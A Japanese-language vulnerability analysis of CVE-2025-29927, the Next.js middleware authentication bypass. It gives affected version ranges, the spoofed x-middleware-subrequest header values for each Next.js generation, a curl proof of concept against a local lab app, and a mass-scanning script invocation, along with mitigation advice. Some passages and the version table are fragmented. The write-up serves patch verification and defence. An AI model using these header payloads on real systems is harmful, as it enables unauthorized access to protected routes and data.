
本書では、Next.js フレームワークの Middleware メカニズムに影響する脆弱性 CVE-2025-29927 に関する調査結果を示します。
Next.js は、Vercel が開発した React ベースのアプリケーション開発用の有名なオープンソースフレームワークです。サーバーサイドレンダリング、静的生成、およびルーティング、リダイレクト、セキュリティヘッダー、アクセス権限チェックに使用される柔軟なミドルウェア(middleware)システムをサポートしています。
2025年3月、内部サブリクエスト用のサービスヘッダーの処理に関連する重大な脆弱性 CVE-2025-29927 が発見されました。
問題の本質は、アクセス制御が middleware に実装されているアプリケーションにおいて、HTTPヘッダー x-middleware-subrequest に特別な値を挿入することで認証チェックをバイパスできる可能性があることです。セキュリティが middleware のみに依存している場合、攻撃者は保護されたルートやデータにアクセスできる可能性があります。
影響を受ける Next.js のバージョンと修正バージョン(公開情報および公式資料による):
修正はリリース 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 で利用可能です。
Next.js は本番環境で広く使用されており、middleware 層(認証・認可やセキュリティポリシーに頻繁に使用される)に影響するこの脆弱性は、実際のリスクが非常に高いものです。
脆弱性を段階的に分析し、調査の全サイクルをまとめます:
資料の収集と構造化。
CVE-2025-29927 に関する公開情報源を体系化し、欠陥の本質、発動条件、確認済みのバージョン・パッチを説明します。
CPE および構成条件の特定。
CPE・バージョンのリストを提示し、脆弱性が再現する構成(例: self-hosted デプロイおよび middleware レベルでの認可)を説明します。
安全なデモンストレーション。
脆弱なバージョンで middleware バイパスが発生することを確認する、再現可能なデモをテスト環境(破壊的動作なし)で準備します。
大量検証の手法。
以下の3つの安全なアプローチを説明し、実装します:

根本原因。 Next.js では、サービスヘッダー x-middleware-subrequest が内部サブリクエストを追跡し、middleware の再帰を防ぐために使用されます。脆弱なブランチでは、外部クライアントがこのヘッダーに「想定される」値を設定することができ、ランタイムはmiddleware の実行をスキップして、リクエストを直接ルートハンドラーに渡します。
ヘッダーの役割。 ヘッダー x-middleware-subrequest は元々、現在のHTTPリクエストがユーザーから直接送信されたものではなく、フレームワーク自体によって中間サブリクエストとして起動されたものであることを示す内部インジケーターとして設計されました。
これは Next.js の内部メカニズムが正しく機能するために必要です。ルーティングに加えて、このフラグは呼び出された中間レイヤーを「マーク」することで無限再帰を回避するのに役立ちます。
しかし、まさにこのロジックが意図しないセキュリティホールを生み出しました。クライアントが独自にこのヘッダーを追加すると、システムはそのリクエストを内部リクエストとして扱い、認証チェックを回避できるようになります。
ロジックの変遷。
現在の NVD レコードは、ターゲットソフトウェア node.js を持つ製品 Vercel Next.js を示しています。脆弱なブランチには次の構成が適用されます(バージョン範囲は NVD の CPE 構成レベルで指定されています):
| CPE URI | 脆弱なバージョン範囲 |
|---|---|
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 11.1.4 ≤ v < 12.3.5 |
注: CVE の説明では、一般的に「11.1.4 以降、12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 まで」の脆弱性は、以下の条件が満たされた場合に再現するとされています。
next start、output: 'standalone' でのビルド)であるか、サービスヘッダーの境界フィルタリングなしに middleware が受信リクエストに対して実行される環境である。x-middleware-subrequest を含むユーザーリクエストを破棄する外部手段(例: WAF ルール)が存在しない。x-middleware-subrequest の内部メカニズム中間コードの無限再帰を防ぐため、ランタイムはサービスヘッダーを生成および読み取ります:
: で区切られた要素を持つ文字列として解釈され、「サブリクエスト」の配列が得られます。NextResponse.next() を介して即座にスキップされました)、x-middleware-subrequest-id)が追加されました。これが一致しない場合、受信した x-middleware-subrequest はサーバー側でクリアされます。攻撃者は、対象の Next.js アプリケーションにHTTPリクエストを送信し、サービスヘッダー x-middleware-subrequest を追加します。
値には、middleware ファイルへのパス(例: pages/_middleware、middleware、src/middleware)を指定します。
必要な値は、使用されている Next.js のバージョンとプロジェクト構造によって異なります。
このようなリクエストがアプリケーションに到達すると、フレームワークの内部ロジックはそれを内部サブリクエストとして認識し、中間レイヤーがすでに実行されたと見なします。
その結果、通常 middleware で行われる認証・認可チェックが実質的にスキップされます。
重要: この資料は、クローズドなテスト環境でのパッチ検証とリスクモデリングのみを目的として提供されています。
本番インフラストラクチャでの検証は、リソース所有者の許可がある場合にのみ可能です。
Next.js は、内部サブリクエストをマークし、middleware の再帰実行を防ぐためにサービスヘッダー x-middleware-subrequest を使用します。
リクエスト処理時、ヘッダー値は : で分割され、現在の middleware の名前と比較されます。
新しいバージョンでは、深度制限(MAX_RECURSION_DEPTH、通常5)が追加されています。
条件(名前の一致または制限への到達)が満たされると、Next.js は middleware をスキップし、リクエストを後続へ渡します。
攻撃者は内部サブリクエストを模倣して、正しいヘッダー値を構成できます。
_middleware.*_middleware.js/ts と呼ばれ、pages/ ディレクトリに配置されていました。x-middleware-subrequest: pages/_middlewaremiddleware.*middleware.js/ts になりました。/src ディレクトリのルートに配置できます。x-middleware-subrequest: middleware または x-middleware-subrequest: src/middleware: で分割され、middleware 名の繰り返し回数が 5 以上の場合、NextResponse.next() を介して middleware をスキップします。x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware または x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware15.x リリースでは、無限再帰呼び出しを防ぐためにロジックが再設計されました。
パス上で middleware が動作する場合(例: /api/*)、Next.js は同じ middleware を再度起動する別の URL を受け取ります。
フレームワークは、ヘッダー x-middleware-subrequest を介して実行回数をカウントします。
呼び出し回数が設定された閾値(MAX_RECURSION_DEPTH、デフォルトでは5)に達すると、それ以降の middleware 呼び出しはブロックされます。
攻撃者は、必要な回数分の繰り返しを含む値をあらかじめヘッダーに指定することで、この動作を悪用して人為的に深度制限に到達させ、その結果 middleware を完全にスキップさせることができます。
旧バージョンでは、上記のパターンに従ってヘッダー値を選択してください
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest は、無限再帰を防ぐ内部メカニズムとして設計されました。
しかし、脆弱なバージョンでは外部リクエストのフィルタリングがなかったため、クライアントがヘッダーを偽装し、
スキップ条件(名前の一致または深度制限への到達)を満たし、
保護されたルートのハンドラーに直接アクセスできました。
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev
テスト:
(例は Next.js 15.2.2 に基づいています。他のバージョンでは、PoC セクションの表に従ってヘッダー値を選択してください)
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
x-middleware-subrequest ヘッダー付きリクエスト:curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5
x-middleware-subrequest をフィルタリングまたは破棄してください。X-Middleware-Subrequest を使用して、middleware バイパスを積極的にテストします。
⚠️ 注意: このテンプレートは、自身のまたは許可を得たターゲットでのテストのみを目的としています。所有者の同意なしに第三者サービスで使用することは違法です。
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* |
| 13.0.0 ≤ v < 13.5.9 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 14.0.0 ≤ v < 14.2.25 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 15.0.0 ≤ v < 15.2.3 |